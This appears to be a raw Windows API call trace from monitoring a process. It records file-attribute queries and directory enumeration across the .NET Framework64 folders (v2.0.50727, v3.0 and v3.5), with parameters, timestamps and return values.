	[0088.010] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers\\app_localresources"), fInfoLevelId=0x0, lpFileInformation=0x12653368 | out: lpFileInformation=0x12653368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.011] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.011] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.012] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.013] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\App_LocalResources\\chooseProviderManagement.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers\\app_localresources\\chooseprovidermanagement.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x126534f8 | out: lpFileInformation=0x126534f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeee345e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdeee345e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90f6f90f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x617)) returned 1
	[0088.019] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.019] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeeaf9e4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeeaf9e4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.023] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.024] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\App_LocalResources\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.027] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\permissions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.027] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe89627a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.030] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\permissions\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.030] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe89627a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.031] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\roles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.032] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe8bc3d4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeeaf9e4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeeaf9e4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.035] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\roles\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.035] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe8e252e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.038] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.038] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe908688, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeeaf9e4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeeaf9e4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.041] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\users\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.041] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe92e7e2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeeaf9e4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeeaf9e4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.047] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\wizard"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.047] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe95493c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeefbc98, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeefbc98, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.051] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\security\\wizard\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.051] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe97aa96, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfef21df2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfef21df2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.071] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.071] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe97aa96, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3fb91724, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3fb91724, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.074] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\Browsers" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\browsers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.074] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\Browsers\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9a0bf0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff00660e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff00660e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.089] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\MSBuild" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.089] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\MSBuild\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9c6d4a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff00660e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff00660e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.091] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\MUI" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.091] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\MUI\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9ecea4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea12ffe, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfea12ffe, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.091] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\MUI\\0409" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mui\\0409"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.091] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\MUI\\0409\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea12ffe, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff078a1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff078a1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.097] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\RedistList" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.097] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\RedistList\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea39158, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x94c169de, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x94c169de, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.146] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.147] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.147] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\WPF" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.147] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\WPF\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.152] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\WPF\\XamlViewer" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\xamlviewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.152] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\WPF\\XamlViewer\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x95bb5a5b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x95bb5a5b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.153] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\WPF\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.153] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\WPF\\en-US\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23291801, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.154] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.154] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.162] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.163] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\en-US\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225e5094, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.163] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.163] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x95314a8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x95314a8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.167] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\1033" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.5\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
